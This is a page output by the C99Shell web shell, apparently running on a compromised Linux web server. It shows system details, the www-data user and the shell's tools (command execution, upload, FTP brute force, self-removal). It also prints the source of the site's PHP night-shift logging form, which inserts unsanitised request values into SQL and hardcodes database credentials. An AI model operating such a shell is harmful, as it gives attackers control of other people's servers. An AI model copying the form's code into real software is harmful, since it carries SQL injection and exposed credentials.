!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/wwwroot/frames/zebraforms/examples/   drwxrwxr-x
Free 83.25 GB of 96.73 GB (86.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     contactform2.php (3.49 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html>

    <head>

        <title>PHP HTML Form Processor Class - Contact Form</title>

        <style type="text/css"> body {font-family: tahoma, arial, verdana, sans; font-size: 12px; } </style>

    </head>

    <body>
    
  

    <?php

        
// require the htmlform class
        
require '../class.htmlform.php';

        
// instantiate the class
        
$form = new HTMLForm('form''post');
        
        
// add a label to the 'name' control - used in the template file as {controls.label_name}
        
$form->add('label''label_fecha''''fecha:');

        
// add a text control named "name" - used in the template file as {controls.name}
      
$obj =  $form->add('text''fecha',date('Y-m-d'));
     
       
$form->add('label''label_trabajo''''Trabajo-Descripci�n');
        
$obj =  $form->add('text''trabajo'); 
        
$obj->setAttributes(array('size' => 80));   
        
        
         
$form->add('label''label_registro''''Registro-c�digo'); 
           
$obj =  $form->add('text''registro');   
           
            
$form->add('label''label_entrante''''HCO. comunicaciones entrantes'); 
           
$obj =  $form->add('textarea''entrante'); 
           
$obj->setAttributes(array('rows' => 5,'cols'=>80));   
           
            
$form->add('label''label_saliente''''HCO. comunicaciones salientes'); 
           
$obj =  $form->add('textarea''saliente'); 
           
$obj->setAttributes(array('rows' => 5,'cols'=>80));     
           
            
$form->add('label''label_observaciones''''OBSERVACIONES'); 
           
$obj =  $form->add('textarea''observaciones'); 
           
$obj->setAttributes(array('rows' => 10,'cols'=>80));       
        
      
                
                
                
                
                
  
        
        
        
        
        
$form->add('submit''submit''Grabar Datos');
        
$form->add('reset''reset''Borrar Formulario');

        
// validate the form
        
if ($form->validate()) {
        
            echo 
"<pre>";
            
print_r($_REQUEST);
            
// metemos los datos:
            
$conn=mysql_connect("localhost","pba","pba")or die(mysql_error())    ;
        
            
$sql="insert into pba.turno_noche
            (
            fecha,
            trabajo,
            registro,
            entrante,
            saliente,
            observaciones
            ) 
            values
            (
            '
{$_REQUEST['fecha']}',
            '
{$_REQUEST['trabajo']}', 
            '
{$_REQUEST['registro']}', 
            '
{$_REQUEST['entrante']}', 
            '
{$_REQUEST['saliente']}', 
            '
{$_REQUEST['observaciones']}')";
            if (
mysql_query($sql,$conn)){
                echo 
"inserci�n realizada";
            }else{
                echo 
"fallo en la inserci�n";
                echo 
$sql."<br>";
                echo 
mysql_error();
            }    
               
               
               
            die();
            
        }
        
        
// display the form with the specified template
        
$form->render('forms/contactform.xtpl');

        
// IF YOU DO NOT NEED ANY SPECIAL FORMATTINGS IN YOUR FORM YOU CAN ALSO CALL THE RENDER METHOD WITHOUT SPECIFYING A TEMPLATE NAME
        // AND THUS LETTING THE SCRIPT TO AUTOMATICALLY GENERATE OUTPUT AND SAVING YOU OF EXTRA WORK PUT INTO DESIGNING THE FORM'S LAYOUT
        // COMMENT THE LINE ABOVE AND UNCOMMENT THE ONE BELOW TO SEE IT IN ACTION

        //$form->render();

    
?>

    </body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0043 ]--